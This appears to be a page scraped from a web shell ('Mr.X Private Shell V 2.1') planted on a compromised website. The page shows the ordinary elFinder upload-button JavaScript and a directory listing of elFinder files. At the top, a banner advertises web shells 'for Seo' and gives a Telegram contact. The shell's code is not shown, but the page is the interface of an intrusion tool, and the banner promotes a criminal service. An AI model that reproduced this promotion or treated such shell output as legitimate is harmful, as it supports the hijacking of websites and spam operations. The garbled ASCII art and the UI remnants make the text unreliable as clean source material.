__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @class elFinder toolbar's button tor upload file
*
* @author Dmitry (dio) Levashov
**/
jQuery.fn.elfinderuploadbutton = function(cmd) {
"use strict";
return this.each(function() {
var fm = cmd.fm,
button = jQuery(this).elfinderbutton(cmd)
.off('click'),
form = jQuery('<form></form>').appendTo(button),
input = jQuery('<input type="file" multiple="true" title="'+cmd.fm.i18n('selectForUpload')+'"/>')
.on('change', function() {
var _input = jQuery(this);
if (_input.val()) {
fm.exec('upload', {input : _input.remove()[0]}, void(0), fm.cwd().hash);
input.clone(true).appendTo(form);
}
})
.on('dragover', function(e) {
e.originalEvent.dataTransfer.dropEffect = 'copy';
}),
tm;
form.append(input.clone(true));
cmd.change(function() {
tm && cancelAnimationFrame(tm);
tm = requestAnimationFrame(function() {
var toShow = cmd.disabled();
if (form.is('visible')) {
!toShow && form.hide();
} else {
toShow && form.show();
}
});
})
.change();
});
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| button.js | File | 4.12 KB | 0640 |
|
| contextmenu.js | File | 21.45 KB | 0640 |
|
| cwd.js | File | 87.65 KB | 0640 |
|
| dialog.js | File | 26.2 KB | 0640 |
|
| fullscreenbutton.js | File | 634 B | 0640 |
|
| navbar.js | File | 5.22 KB | 0640 |
|
| navdock.js | File | 4.37 KB | 0640 |
|
| overlay.js | File | 969 B | 0640 |
|
| panel.js | File | 559 B | 0640 |
|
| path.js | File | 5.22 KB | 0640 |
|
| places.js | File | 16.2 KB | 0640 |
|
| searchbutton.js | File | 10.05 KB | 0640 |
|
| sortbutton.js | File | 3.66 KB | 0640 |
|
| stat.js | File | 3.4 KB | 0640 |
|
| toast.js | File | 2.63 KB | 0640 |
|
| toolbar.js | File | 9.86 KB | 0640 |
|
| tree.js | File | 40.6 KB | 0640 |
|
| uploadButton.js | File | 1.05 KB | 0640 |
|
| viewbutton.js | File | 770 B | 0640 |
|
| workzone.js | File | 1.42 KB | 0640 |
|